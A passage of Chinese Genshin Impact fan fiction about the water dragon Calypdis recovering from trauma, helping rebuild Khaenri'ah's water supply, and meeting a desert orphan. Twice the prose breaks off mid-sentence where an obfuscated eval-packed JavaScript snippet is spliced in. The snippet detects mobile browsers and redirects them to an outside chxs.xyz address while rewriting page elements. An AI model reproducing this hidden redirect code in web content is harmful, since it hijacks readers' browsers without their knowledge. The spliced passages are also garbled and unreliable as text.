“将你的记忆封存,做一个漫长到仿佛没有尽头的美梦。”那维莱特斩钉截铁,“卡吕普迪斯,你不能让痛苦占据你的心。” 一颗心对痛苦的承载能力是有上限的,过多的痛苦会让心崩裂,这对任何生物来说都是毁灭性的打击。 是承受还是逃避?那维莱特示意他做出选择。 睡觉吗? 就像在世界树旁做的那个梦一样,像那个复仇成功的【未来】一样,静静的躺在黑暗海底沉睡吗? 静原缓缓眨了眨眼,声音嘶哑:“我选第一种。” 我绝对绝对不要,一个人孤零零的躺在海底。 卡吕普迪斯搬去了伊黎耶的湖中垂柳居住,这个消息在枫丹廷那里并不算秘密。 “自从战争结束后,大家就很少看见卡吕普迪斯先生出现在海中呢。”娜维娅举办了茶话会,邀请女孩子们参加 。大家不可避免的聊起如今海中的现象,以及那位大战中神秘而熟悉的身影,“原来是搬去伊黎耶岛居住了啊。” 芙宁娜拿着餐叉戳了戳面前的花果三重奏切块,雪白的奶油涂抹在银光锃亮的餐具上,反光面折射出她异色的眼瞳。 很早以前她就和那维莱特以及卡吕普迪斯恢复正常交往,也知道所谓命运线的改变。卡吕普迪斯如今的状态只能静养,多接触一个人对他来说都是难以忍受的精神负担。 卡吕普迪斯是个笨笨的家伙,平时总觉得有人撑腰天下无敌,真要遇到什么事只会默默的自己扛……芙宁娜想到这里不免叹气,什么也没说。 “很久没看到他活跃在沉玉谷和枫丹海之间,还有些不习惯。”克洛琳德是这样说的,杯中咖啡醇香。 卡吕普迪斯在枫丹独有的地位来源于他千年的守护,枫丹人祖祖辈辈流传着在海中呼唤卡吕普迪斯之名可保平安的故事。试问哪个枫丹的孩子没有做过人鱼和鲸群陪伴的美梦呢? 当你是孩子的时候,他是温柔的守护者。当你是青年的时候,他是稳重的同行者。当你是老人的时候,他是沉默的守望者。 人鱼浮出海面,看着人类繁衍生息,守护着枫丹人赖以生存的海洋千百年的安宁。这是枫丹人不会忘记的模样,而今有什么在悄然改变。 娜维娅对此有话要说:“或许只是一次单纯的搬家。但在一部分人看来,离开海洋的大守护者是想要卸下自己沉重的负担。” “刺玫会在民间听到的消息表明大家或多或少都有这样的预感,但也有一部分人认为卡吕普迪斯先生只是去伊黎耶岛照顾龙蜥繁育,很快就会搬回海中居住。”年轻的刺玫会老板摸摸下巴,“我也觉得后一种比较靠谱。” “毕竟,人鱼是不会离开海洋太久的嘛。” 福勒依斯听到消息后火急火燎带着点心来探病,小皮鞋踩上水边湿润的泥土,穿过有些惊愕的龙蜥,噔噔噔直奔岛中心的湖泊。 纯水精灵撩起荧光垂柳的枝条:“怎么回事,你强占民宅?” 她气势汹汹来者不善,倒也情有可原。福勒依斯还打算过一两百年就搬回来养老呢。 “算了算了,你想住就住吧。反正这地也没写我名。”她很快哄好了本就没生气的自己,见湖面平静没有波澜,微妙的挑了一下眉。 “卡吕普迪斯!你肯定没睡觉,快起来快起来,我给你带了寻芳斋的新点心。”纯水精灵不染尘埃,很快踏着水面走到湖心的小岛上,铺开野餐垫子摆放食物。反正他俩凑一块不是吃吃吃就是喝喝喝,“今年沉玉谷技术突破,人工养殖了好多清心。虽然说药性不如野生的高山清心好,但用来食补物美价廉。这次是用蜂蜜糖渍的清心花内馅做的小饼,来之前我就尝过了两个,可好吃了,你肯定也喜欢,微甜不腻。” 喊了半天没有反应,她终于发现了不对劲,摆好东西后一回头:“啊啊啊啊啊啊鬼啊!!!” 水中冒出颗蓝色的脑袋,皮肤苍白如纸没有血色,只有一双湖蓝色的眼睛暗幽幽的。 福勒依斯被惊得蹦起来,看清是老朋友后长舒一口气,气得想锤他:“你这家伙,故意的!差点吓死我。” “纯水精灵的心脏不会被惊吓到崩裂。”意思就是说你不会被吓死。 “这是人话?”福勒依斯诧异,“快上来吃点心,我听来沉玉谷的商人说你搬来了湖中垂柳住,枫丹廷的人类吵到你了?还是在海里的贝壳床住腻了?” 人鱼的声音轻轻的:“因为这里很安静,人少。”适合养病。 福勒依斯大手一挥:“那肯定是人类吵到你了。虽然说人类叽叽喳喳的很有意思,但听多了也是真闹挺。没事没事,在深山老林住一段时间你又想念热闹的人类了。” 长生种是这样的,福勒依斯完全理解,因为她自己也一样。”“ 安慰完她又招呼静原快吃点心:“多吃些,你好久没去沉玉谷玩了。今年有旅游计划吗?” 他坐在湖边的野餐垫上,尾巴有一半浸泡在水中。低着头啃清心花饼,鬓发垂下,福勒依斯看不清他的神情,只听见他轻声:“暂时没有出游的计划。我得静养很久。” 福勒依斯:“真伤着了?我不知道那几天发生了什么,等一切尘埃落定,就听到枫丹商人说你换了个位置住。都在传你受伤了修养,但没有人拿出证据。我也没信,毕竟那维莱特还好好的呢,他总不会让你有事的……” 静原回望她,二人视线相撞。看到竖瞳后,福勒依斯怔愣好半天才卸了力气:“我都有点分不清你和他了。” 这个他当然指的是当初匆匆一别的[卡吕普迪斯],水龙裔的亲王。 静原有些累,连点心都没吃完一块,侧躺在福勒依斯身边阖上眼皮:“不需要分清。我们两个的记忆已经互通了。”从某种角度来说,他已经是[卡吕普迪斯]了。 “……原来是这样啊。”纯水精灵若有所思,抬手摸摸好朋友的额头,“难怪你缩到这里修养,肯定是害怕了,但是依旧在面对。很累对不对?别怕,我守着你好好睡一觉。” 静原说话都没太多力气:“睡不着,只是闭眼休息。” “因为会做噩梦?” “嗯。”他害怕看见那些场景,哪怕醒来后大家都在,但他已经真切的体会过不止一遍的失去了,“但是不要紧,和最开始比已经好很多了。” 福勒依斯叹气,这只能他自己挺过去然后走出来。 “别怕,我在这守着。你睁眼就能看到我。” 静原长叹,到底是什么也没说。倒是福勒依斯坐在旁边吃点心喝茶,悠哉悠哉度过了一个惬意的下午。 “龙的天性是【进化】。或许我以人身诞生,和你从人鱼蜕变为人,都是水系一脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895603|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙众进化的方向。” 那维莱特有时候会谈起龙族未来的方向。神座崩裂,七元素大权已经回归。那么他和尘世执政最大的利益纠葛已然划清,也无需什么审判仪式。 天空岛覆灭后,深渊教团的公主和旅行者达成一致。教团也不再执着于入侵,只是那位深渊公主透露过,深渊淹没世界只是时间问题,毁灭的尽头即是新生。那维莱特心知肚明,龙族若要活到最后成为新一轮角逐的玩家,必须不断进化。获得更强大的力量,更健壮的身躯。 卡吕普迪斯和命运女神的联系玄之又玄,他的痛苦不是必需,但痛苦道路的尽头的确是他前进的方向。那维莱特能做的只是为他隔绝其他的干扰因素。 “水和【生命】这个概念密不可分。水族天赋是幻形,往上有你人类的外形,往下有龙蜥变化为美露莘,以及纯水和浊水的幻灵。”静原已经可以恢复人形态一段时间了,说话声音依旧不大,至少能说长串句子,“或许毁灭之后会诞生更适应环境的新形态。” 说到这里,那维莱特不可避免的想到了那日天空岛上的血人。 他抬手捏了捏眉心,努力不去想那些惊悚的东西,对他对卡吕普迪斯都好:“元素生命的创生不是问题。目前七国高层主要是在考虑如何利用深渊。还有复国的坎瑞亚,作为天理和尘世执政毁灭的文明国度,大家都没有表露出明确的态度。” 那维莱特审案子是一把好手,公正无私无可辩驳。但玩政治的话,他到底是有些不如审判来得自在顺心。 枫丹并非他的一言堂,他也无意去做最高领导人。但在其位谋其职,他还是希望人类这样脆弱而坚韧的生命可以得到幸福。 静原碰着热茶吹了口气:“做你想做的就好。接洽的工作我可以负责。” 那维莱特不是很擅长和人拉扯。 “身体还好吗?”有卡吕普迪斯帮忙当然再好不过,但对方心病没好的话他不会放人出去的。 “现在只是容易累。大问题是没有了。”静原很久没有剧烈的情绪起伏,也分得清梦和现实。他的身体没有受伤,有问题的是心。既然心已经好了七八成,适当出去见见人有助于恢复。 卡吕普迪斯说没大问题就是真没大问题。那维莱特思考再三,想起希格雯作为专业护士给出的指导建议,还是决定给他适当安排点事做。 距离神战结束已经有半年时间,静原跑去湖中垂柳住后没关注枫丹廷大大小小的事。今天算是他修养后首次在沫芒宫露面,出那维莱特办公室后好些职员过来问好,他强撑着精气神应付过去,眉眼间的疲惫不加掩饰,叫人看了心里一酸。 拿到坎瑞亚相关资料后静原拉着人开了个小会,童话故事的结尾是勇者打败反派,人类推翻神座。童话故事结束了,现在是成年人的时间。 “坎瑞亚要在旧址上复国,与枫丹比邻。有至冬和纳塔的大力支持,须弥方面也不会做出头鸟。”政客们翻阅着资料,“现在就等璃月和蒙德那边的消息了。” “璃月的态度不好说,他们应该正在观望坎瑞亚掌权人的倾向。据说是至冬统括官【丑角】在背后做推手……” “至冬支持我理解,毕竟他们那执行官里有不少人是坎瑞亚出身。纳塔怎么也来凑热闹?” “你忘了【队长】?他和纳塔的缘分可不浅。” “蒙德那边虽然没有明确赞成或者反对,估计也不会阻拦……” “坎瑞亚复国我没意见,但是这个选址……深渊控制不好,还有第二个万种母树做缓冲吗?” “我看须弥那边心里也苦……” 静原对此并无太多话要说,比较摆在明面上的东西说来说去也就那几个问题。他想起当初在世界树那睡觉前博士的所作所为,突然福至心灵:“坎瑞亚以炼金术闻名,对深渊的利用也非七国可比。他们既然有胆量在旧址上复国,手里肯定有对付深渊的方法或者工具。” “说起这个,科学院那边也有新研究方向申请资金批准,后续可以考虑和坎瑞亚科技交流……” “说起来,新武器是不是……” “钱不够,你当摩拉是从璃月批发来的吗?立案一个比一个烧钱,我们管财政的月底恨不得上吊。” “国防的事当然是重中之重,科学院的研究也得重视起来,你看民生问题,蒸汽鸟报前两天还在批判福利设施建设不够。” “这批武器早该淘汰了。你看人家至冬用的,人家璃月扛的,蒙德军备更是大手笔。我不管,我就要!” 很快这帮人恢复了拍案吵架的常态,上头的时候当场打架,静原瘫在座椅上闭眼,有点想回水里睡觉了。 算了,逃是逃不掉的。赶紧拉一帮人去援建坎瑞亚吧,全部流放阿不,发派出去。 静原幽幽叹气。 110.后记 话说回来,旅行者和妹妹和解后,深渊教团已经不再执着于对地上的魔神复仇。毕竟最大的欠债方天空岛已经崩得不能再崩。死之执政的诅咒在她的神座崩裂后以一种极为缓慢的速度失去效力。 冒险家们观察到野外安营扎寨的丘丘人会对着水中自己的倒影发呆。这个时候哪怕经过都不会引起他们的驱逐。一开始这种现象还是偶然发生,时间也比较短。直到后来连平民都知道丘丘人经常那样做,然后在半年后某一个月光如水的夜晚,丘丘人摘下了面具,对着月光梳洗和记忆中截然不同的面容,然后依偎在一起,合上了眼睛。 黑气从他们身体散逸,山丘的子民在夜晚的风中消散,被风送去没有苦难的来生。被【死亡】夺走死去能力的人终于可以得到安息。不过有一小部分丘丘人并没有就此死去,而是恢复了记忆,也恢复了正常人类的模样。惊愕的注视着无毛的洁白手掌,被尘世的风牵引着送去地下的故乡。 在黄沙之下,一朵悼灵花悄然绽放在尘封的巨门外。风牵引迷茫的游子长途跋涉至此,踉跄着蹒跚而来,静止五百年的时光轮盘悄然转动,那扇厚重的国门也被无形的手推开。 门内的风寂寥而萧条,失乡的游子终于回到了故乡。 坎瑞亚的复国大业如火如荼,双子受邀参与其中,各国都有派遣使臣援助。深渊褪去后的土地贫瘠而荒芜,于是冰岩构筑空间,风雷与时间一同流动。水和草孕育生命,雷鸣让生命苏醒 ,而火让生命拥有死亡的权利。新的秩序正在被确立。 神明自然不吝啬帮助,不过让他们唏嘘的是元素龙阿佩普居然准许人类在她的黄沙之国下方大张旗鼓的搞动静,也默许行人穿越黄沙与尘暴的封锁输送物资,要知道以前的赤王要在沙漠建立和平的邦国都需要和阿佩普达成合作,如今就这么……纵容了? 阿佩普对相关侧目嗤之以鼻:“神总以狭窄的肚量妄自揣测龙的想法,愚蠢和渺小的人类挣扎于枯萎的土地上,只有无能之辈才会畏惧蝼蚁。” 草神纳西妲微笑着做出翻译:“阿佩普的意思是说,人类为了生存已经用尽了力量,她不会故意挤压可怜人的生存空间。” 阿佩普嗤笑一声,却也不多说什么,继续蛰伏在黄沙下的行宫修养。留下纳西妲对着新生的国度暗自忧愁。 世界树被焚毁后,纳西妲的记忆也开始松动,某一天她突然想起自己真正的称号。 我是,摩诃善法大吉祥智慧主,小吉祥草王纳西妲啊。 大慈树王是我的前代,不是我。 难怪,难怪……之前所有的疑点都有了解释。纳西妲曾在净善宫喃喃自语,难怪总觉得旅行者有什么在瞒着她,原来问题根源出在世界树。焚毁之后,树保存的所有记忆就消散于天地,数个轮回的记忆不可能一下子灌输进大脑,小部分人才能记得曾经。大慈树王让世界遗忘她,却也无法真正删除每一次轮回她的存在。 纳西妲轻轻叹气,目前的须弥只有她记起来了……未来要怎么办呢? 地下坎瑞亚好像一个巨大的工地,派蒙抱着饮料送温暖的时候,作为坎瑞亚生态循环部门特邀指导师之一的静原正在和自家枫丹的研究员互扯头花。 研究员扯着嗓子喊:“我都说了这地不能拐弯不能拐弯!机械到这里就会卡住没办法运作的!” “这是河道最优规划方案!从这里分流能途径七个城镇!浇灌多少良田土地你心里有没有数啊!机械做不到就人来做!”静原气得两眼一抹黑,本来情绪就不能剧烈起伏,这下好了,血压直接冲顶。 “……人做不到怎么办?”没有什么比民生更重要了,研究员也明白这个理,呐呐的发问。 静原捂着额头直摆手:“换人。先试着弄一下,我们做不了就去隔壁请有岩系神之眼的人。对,先把防渗板和膜铺了……” 旅行者带着午饭探班的时候,正巧看见老熟人之一的卡吕普迪斯在引水。他和他带来的团队在地下边缘挖了深不见底的坑洞,有通道连接了外海,让海水蓄满了坑洞。再从坑洞那通过一道又一道的分流关卡提纯为淡水。淡水在河道流淌,引入人造湖泊山川,又送往地下国度城镇千家万户。 来自暗海的水不愁用,就算用枯竭了,到时候去枫丹把静原扒拉出来再找个点挖水就行。 不过目前这边还只停留在试引水阶段,大个子机械和小个子人站在一块分段检测水中物质,不时有研究员交耳讨论。 “可以的,这是成本最低的海水提纯方法。枫丹那边可以用的更成熟的技术……” “坎瑞亚以前的科技据说很厉害,等他们修养过来能赶上的……这边的系统可以升级……” 隔壁须弥生态规划组听河道通了,当晚就开始把带来的种子催生,去给河道周围铺草地。 “我带的可是生论派大师培育出来的第十五代改良草种,根系发达巩固水土,也能作为牧草供应畜牧。一草多用不能更划算了。”该须弥人士对串门来的璃月朋友热情介绍,听得人眼馋。 提纳里忍不住摇头,带着菌种和木材去实地培育了。 璃月人在哪里都改不了种地的本能,看着被水浇灌又被岩元素改造过的土壤,心痒痒手痒痒:“不种点什么感觉白来了。” 和他共事的是解除诅咒后恢复清明的坎瑞亚军官,小伙子长得俊,就是不太理解璃月朋友的意思,本着不让朋友白来一趟的原则试探性询问:“你想种什么呢?” “种菜啊。你们的秩序建立起来后总得考虑民生吧?难不成让那些可怜百姓和军人继续啃压缩军粮?”璃月青年一拍大腿,“造孽啊。” 可怜百姓指的是解除诅咒后的坎瑞亚子民,和部分旧时代的遗民。大家聚在一起建设家园,由于坎瑞亚目前百废待兴,食物供给主要靠至冬军粮。很多人馋新鲜蔬果要命,但也知道进口的蔬果要被做成营养膏给来帮忙的大家补充身体所需,没办法奢侈。 说干就干,坎瑞亚军官向上级报备过后很快得到批准和部分资金扶持。但他的璃月朋友大手一挥表示这钱买菜种就行,然后一帮同乡扛着家伙什哼哧哼哧种地去了。 坎瑞亚军官:(●—●) 顺便捞走了草系神之眼持有者催发。 只是被外派来设计建筑的好心人卡维先生:“啊?我吗?我种地?” “催生一下啦。不会让你真的挖锄头的。” 终于铺完所有河道水渠,又去人造山林里规划玩河流湖泊的静原一回头,看见河堤浅草青青,一大群人凑在两岸农田(岩元素紧急搓出来的土壤积少成多)热火朝天的……种地? 枫丹研究员耿直发问:“他们为什么不用机器种植?” 离开了土地太久有点不知民生疾苦的静原:“……情怀?” 屁的情怀,因为机械最发达的至冬和枫丹援助团队有更重要的事在做,事有轻重缓急,暂时没人来找他们这群忙得两眼一抹黑的劳工借工具。 坎瑞亚人也是忙得头发昏,紧着国防先安排,民生部门当然被忽略了。毕竟在他们的认知里,坎瑞亚寸草不生的印象已经深入人心,本地人根本无法在贫瘠的土地上种出活物,当年全靠炼金术和进口。 放手把地交给热心盟友后,曾经贫瘠荒芜寸草不生的土地硬生生叫这群力大砖飞的盟友盘活了,人造的太阳和月亮星辰让时间确立,气候调节器让四时有序。机械轰隆隆开山作业,人造山川河湖与森林,七元素与炼金术的结合让人为的奇迹发生。 光着脚踩泥巴的静原好想把自己种地里,以此逃避枫丹研究员,至冬科学员和璃月民间种地行家关于《土地作物培育三百式》展开的激烈口水战,理论派、实验派和实干派争得热火朝天脸红脖子粗险些动手干架了。 旅行者来劝架的时候,余光瞥见蹲在地里装蘑菇的静原哀声叹气,好不可怜。 “卡吕普迪斯,怎么无精打采的?” “……心累。”他不想说话,好疲惫。 枫丹的:“旅行者你来评评理,肥料怎么能用那么原始粗矿的粪肥!” 璃月的:“粪肥怎么了?我都说了圈块地养鸡肥田效果好的不得了,不要整那么多化肥,土壤板结只会更严重!” 至冬的:“科学配比好吗?璃月那边的少许、适量到底是多少啊!干脆全用了吧。” “放屁!全用了你地还要不要了?不会种地闪开起边喇去。” “瞧不起谁呢?我也是种过萝卜的!” 静原缩在角落:“唉……” 旅行者:“……刻板印象更严重了啊各位!!!” “到底是为什么这么快就快进到种地频道了啊!”金发小帅哥无奈。 静原:“起因只是他们看不惯一块地光秃秃的什么也没有……” 然后就开始看不惯意见相佐的对方了。 旅行者叹气,拍拍心病还没好全的静原的肩膀:“辛苦你了。” 他和派蒙到处跑,没少看见卡吕普迪斯气得脸红脖子粗的模样,现在这样心如死灰的样子真是可怜哟。 最后是须弥的提纳里看不下去把静原提溜走了:“来,先把脸和手脚洗干净。灰头土脸的……擦干净后看着漂亮多了。肚子饿了吧?手也冰凉。就算是长生种,这样低的体温也不符合常态的健康标准。正好我煮了很多菌菇汤,都是用南边森林新培育出来的无毒菌菇做的,放心喝一碗吧,先暖暖身子。” 静原坐在椅子上,就那样仰头呆呆的望着给他盛汤的阔耳狐青年。 怎么回事,感觉有种好奇妙的光辉在笼罩着我? 终于忙完一部分工作的卡维推门进来,嘴里念念有词:“累死我了,提纳里,你不知道坎瑞亚这边的炼金术有多好。好多我预想中的完美建筑材料他们都有办法制造出来满足期望,都不知道到底谁是甲方了,要是回到须弥也有这样的甲方就好了,我肯定能早点还清债务……唉?有客人来了!你好你好,我是卡维,在城市规划部门帮忙。” “卡吕普迪斯,负责水道规划。”静原还没来得及喝一口,先跟卡维握手问好。然后卡维也得到了好朋友提纳里的一碗蘑菇汤,坐在另一张椅子上吃饭。 “我知道你,你是枫丹的大守护者对吗?” “嗯。”静原点头。 刚进门那会不知道屋内有其他人,卡维还能口若悬河。现在知道了,也不知道该说什么。 毕竟这个蓝发青年看上去真的很闷啊!感觉比艾尔海森那家伙还要寡言少语的样子…… 养过柯莱的提纳里怎么看不出来静原是怎么回事,不过他无意现在告诉卡维,那样只会让这个心软的朋友背负不必要的心理负担。 提纳里看着一个心累不想说话一个不知道咋开口说话的人,摇摇头:“算了,先吃饭吧。” 喝完蘑菇汤的静原跟着提纳里去森林那边帮忙了,提纳里给了他一个藤编小篮子:“帮忙采一些蘑菇吧,采大个的就可以。我们晚上可以吃杂菇锅。” 静原这个大高个在小个子的提纳里面前像小学生一样乖,提着篮子蹲树根那里采蘑菇。也不管有没有毒,挑大个的,好看的放篮子就可以。 这片森林是新催生出来的,树龄不超过一个月。苔藓草皮植被催生加移植,一帮人当眼珠似的呵护着,到现在终于可以稳定产出,生态循环自成一派。一些负责人挪了块地继续造林,提纳里则留下来进行后续观察。蘑菇采集算是对森林健康评估最直面且简单的方式之一,和植物菌类交流又有助于抑郁患者放松身心,提纳里觉得自己这个决策简直不要太明智。 然后现在的画面就是,提纳里爬上爬下检查树木生长情况和植被覆盖率,推测林中昆虫动物的繁衍情况。静原蹲地上采蘑菇,头也不抬,发尾沾了草叶也没发现。 他采蘑菇的神情是那样专心致志,好像那是什么稀世珍宝一样。 蘑菇:我吗? 蘑菇不会说话,蘑菇只会颤抖着菌盖,在被摘走前散播更多的孢子。 看在眼里的提纳里顺顺耳朵毛,有些发愁。 很快,就有人发现静原不见了。 “我们卡吕普迪斯大人呢?”枫丹来的研究员翻箱倒柜也没看到鱼尾巴影子,“地上送来了一批鱼苗和水生植物,正等着下水呢。” “好像被隔壁提纳里先生带去吃午餐了。” “可是现在已经快到吃晚餐的时间了啊。” 索性静原并不是被拐走找不到回家路的孩子,采完蘑菇放松身心,认命的回来继续工作。手底下的人不是不会养鱼,大概一周一换的频率吧。新送来的水生动植物幼体要经过呵护才能正式投放,这帮子研究员和熊孩子的区别就是体型更大闯祸能力更强——这事得静原看着。 跟着他一起出差的枫丹人:嘻嘻。 长生种各有各的神通,静原作为外派来的国内三把手,在这也是几乎事事把关。本来不想跟人说话的脾气也叫底下一帮人整得没脾气接近自闭,心力交瘁之后闭上眼睛还得继续干活。 不是旁人故意压榨他,眼瞅着卡吕普迪斯战后心理创伤还没好全,稍微有点良心的都不会累着他。但是静原自己说他要忙起来,反复让心疲惫直到最后波澜不惊。硬逼着那维莱特下文书请坎瑞亚多给他安排事做。 坎瑞亚官方左看右看,也没明白这文书上白纸黑字写的核动力驴为什么要自己跑来坎瑞亚,天呐噜,难道他们坎瑞亚拿的剧本是什么团厌后成为团宠的可怜小白花万人迷吗? 静原:你们戏好多。 静原:把我和熊孩子放一起锻炼一下,谢谢。 锻炼之后—— 静原:效果太好了,已经开始麻木不仁了呢^_^ 从厌烦到接受到波澜不惊无动于衷,终于麻木了,重叠的记忆再也无法将他击溃。 静原:心理医生看病不也是把伤口扒开裸露到空气中吗? 心思剔透对静原情况猜到七八分的提纳里:……这是何苦? 对自己好狠一男的。 坎瑞亚方面和静原对接工作的文职人员也有在密切关注卡吕普迪斯的心理健康情况,在故乡基础建设收工那天,终于一脸严肃的写完《卡吕普迪斯观察日记》最后一页,盖棺定论。 “观察对象疑似在沉默中变态。” 不然怎么会温柔的注视着犯错的人,然后一脚将对方踹进外海修水渠,回头还要摸摸对方的头说乖孩子,下次再这样就把你带回枫丹去养龙蜥了。 别说乖孩子了哥,我已经快不认得乖孩子这三个字怎么写了。 而且真的不是把人喂龙蜥吗? 文职人员记得以前当丘丘人的时候,卡吕普迪斯看到犯错的家伙都是冷脸丢给巡逻守卫的啊。对他们这些野外游荡的魔物,大多数情况下虽然没有表情,但整个人的气场很温和,才不是现在这样诡异的交流和惩处啊。 枫丹人自己也有点受不了,出差任务结束后几乎是求神拜佛一般把静原送走。 静原:^_^ 看到完整变态进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930124|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化过程的提纳里收拾东西回须弥后搂住自家的乖学生连连庆幸:“太好了柯莱,你真是最棒的小姑娘。” 不明所以但是乖乖被老师拥抱的柯莱眨眨眼睛:“提纳里师父……”你是在坎瑞亚受了什么刺激吗? 后面那句话疑似欺师,柯莱这样柔软内敛的孩子也不会说出来。只是默默的坚定了好好学习,以后给师父养老的决心。 珐露珊知道后喜出望外:“太好了柯莱,快来跟前辈学习,前辈一定会把所有知识倾囊相授,到时候在教令院做导师,工作体面工资又高,还能跟退休的提纳里他们隔三差五交流。岂不是美滋滋?未来一片光明啊!” 柯莱:⊙▽⊙ 静原走的时候,没忘记带走他那些当劳工挖水渠后跟人坎瑞亚炼金术大师学习的熊孩子研究员们。 “呜呜呜呜我舍不得这里的美妙炼金术了,好想留下来继续学习啊——” “什么?这么快就到了回去的日子了?不要啊,我才刚刚画出新图纸!” “不能晚几天再走吗?” 这个时候静原只需要让自己看上去温柔可亲一些,不知道脑补了什么东西的研究员们就会浑身激灵一颤,然后乖乖收拾东西跟着大守护者回家。 因为那一脚的威力尤在。 他不仅打,他还能治啊!包你挨打以后还能活蹦乱跳谁也检不出伤来。 坎瑞亚官方对他们也很不舍,约好了下次整一个八国科技交流大会,大家一起进步,对抗深渊迎接新世界。 枫丹团队和璃月那边几乎是前脚接后脚,曾经闹哄哄的宿舍群一下子空了好多。紧接着是稻妻,然后是蒙德和纳塔。须弥团队是因为离家近所以不急着回去,至冬则是因为太远所以更不着急。 至冬来使:(●—●) 横跨沙漠的感觉并不好受,枫丹人哀嚎着快要被蒸干了,赖在静原身上不动。 “挨打我也认了!卡吕普迪斯大人你身上好凉快……” 静原:“……”等会挨打别求饶。 “冰冰凉凉的——好想吃冰淇淋啊——” 静原:“……”等会送你去吃莱欧斯利的铁拳,那个更冰。 “好——想——回——家——”这声越到后面越是有气无力。 静原:“……省点力气,别喊了。” 他们并不缺乏水源补给,毕竟有静原这个水族长生种在,最不可能的就是渴死。单纯是黄沙景色看得无聊,又被高温蒸得浑身不舒服。大概是在地下待久了,看见太阳好半天不适应。 路上遇见了镀金旅团,其中有个年纪较小的女孩渴得受不了,偏偏距离绿洲尚有一段距离。看得实在是叫人不忍心,好心的研究员把水袋分了出去,免得这孩子真的体力不支倒在沙子里。 镀金旅团带队的是个年轻的男人他直言自己是算好了成员们的身体情况可以支撑到绿洲补给才出发,没料到半路上捡了个孩子。纵然同伴把珍贵的水源分给了她,但孩子就是孩子,体力不支抵抗力又不如成年人,差点就死了。 这能是谁的错? 研究员摇摇头:“可怜的孩子。看肤色和眼睛,像是沙漠出身啊。这黄沙莽莽的,到哪寻亲呢。” 镀金旅团首领说:“她的部族已经在内斗中消失了。沙漠的子民不会对不及车轮高的孩子下手,但她也无法一个人活下来。” 所以这个孩子被抛弃在黄沙中,她的身边就是死去的亲族,父兄和母亲。 原本一直坐在旁边吃赤念果的静原听到这话一抬眼,与躺在女性镀金旅团成员怀中的小女孩对上了视线。 那是一双棕色的眼睛。 这个研究员家中也有妻女,难免生起更多常人当有的怜悯之心:“她叫什么名字?” 首领的脸上覆盖着炽金红绸,透过那红绸注视着已经取下绸子的小女孩:“你叫什么名字?” “……塔塔。” 一刹那间死灰复燃枯木逢春,雨露浇灌干涸的大地,他又能听见心跳的声音。 沙漠的子民常以红绸遮眼,因为在过去,人类无法直视如太阳般炽热神明的伟大辉光,于是自甘用红绸遮眼,成为王忠实的子民。 沙丘部族子民有自己独特的名字,他们会缀上部族的名用来当做自己的姓氏,以此增加部族自豪感与团聚力。如果是被毁灭的部族遗民,铭记姓氏也就是在铭记被毁灭的家园。那是沙漠人的浪漫和爱。 红绸和姓氏,这是沙子的身份象征。 首领摘下了女孩遮掩的红绸,叫她直面刺眼的阳光,顶着烈阳、当着旁人的面去问她的名字,终于得到了自己想要的回答。 她可以被吸纳成为我们的新的家人。 静原看懂了这个行为的含义,低下头去,轻轻的笑了一下。 阳光依旧酷热,研究员们依旧很难搞,或许回到枫丹后还要继续和政客们掰扯,但至少现在,他的心开始有了正常人的温度。 他在心中说:轮回在此代结束,我的孩子,你再也不必畏惧苦寒。 听说须弥那边的草神有意全面推广未成年孩童接受基础教育,沙漠自然不会被落下……或许下次他可以来须弥出差。 那维莱特:还没回来又想着走?这个家你还要不要了? 静原回到枫丹,把和坎瑞亚交接的事情移交给其他外交官,美滋滋的去翻须弥的情报档案了。 不明所以的那维莱特看着对方几乎称得上是欢快的背影陷入了沉思。 出门一趟治疗效果这么好? 塞德娜摸摸下巴:“大概是遇到了什么开心的人或者事情吧?” 休假的希格雯抱着自己的奶昔罐子,琢磨了半天静原的微表情,最后笑眯眯的言之凿凿:“肯定是遇见了很重要的人呢,又有开启新生活的强大动力哟。” 抱着资料回来的静原说:“因为我确定我做的都是有意义的,正确的事。” 正是因为明白了这一点,他才有底气从痛苦中脱身,满怀期望开启新生活的篇章。 希格雯捧着脸蛋,莓红色眼睛里全是温柔的笑意:“这才是卡吕普迪斯大人的样子嘛。”温柔而坚定的前进,绝不会被痛苦打败。 塞德娜万分赞许:“是不是该庆祝一下?今天要回海沫村用晚餐吗?大家都很想念那维莱特大人和卡吕普迪斯大人哦。” 那维莱特自然什么都好。只有静原尝试讨价还价:“可以申请不吃鱼鱼咏唱派吗?” 希格雯高兴起来:“那就尝尝我新调配的营养奶昔吧!” 她抱着奶昔等卡吕普迪斯好久了呢! “先给那维莱特吃吧!我不饿,真的!” 那维莱特优雅的端着水晶杯喝水,言语十分残忍:“在你找资料的时候,我已经喝完了自己的那份。这份是希格雯专门留给你的。” 快吃,不要伤了孩子的心。 静原不可置信的望着他,你个浓眉大眼的也学坏了! 那维莱特眼尾带着浅浅的笑意。 就这么一个短暂的空闲,被抓住机会的希格雯亲亲热热的顶到了沙发上坐下,天使护士长把粉蓝色的奶昔罐子塞到他掌心,还贴心的插上有玫红色花纹的吸管。 “要认真的给出品鉴哦,卡吕普迪斯叔叔~” 对味,太对味了,就是这个熟悉的鸡飞狗跳避无可避最后只能捏着鼻子吃营养餐的味道。 喝完奶昔,静原安详的闭上了眼睛,不知道是睡着了还是死翘翘了。 正文完结。 111.作者的碎碎念(可以跳过) 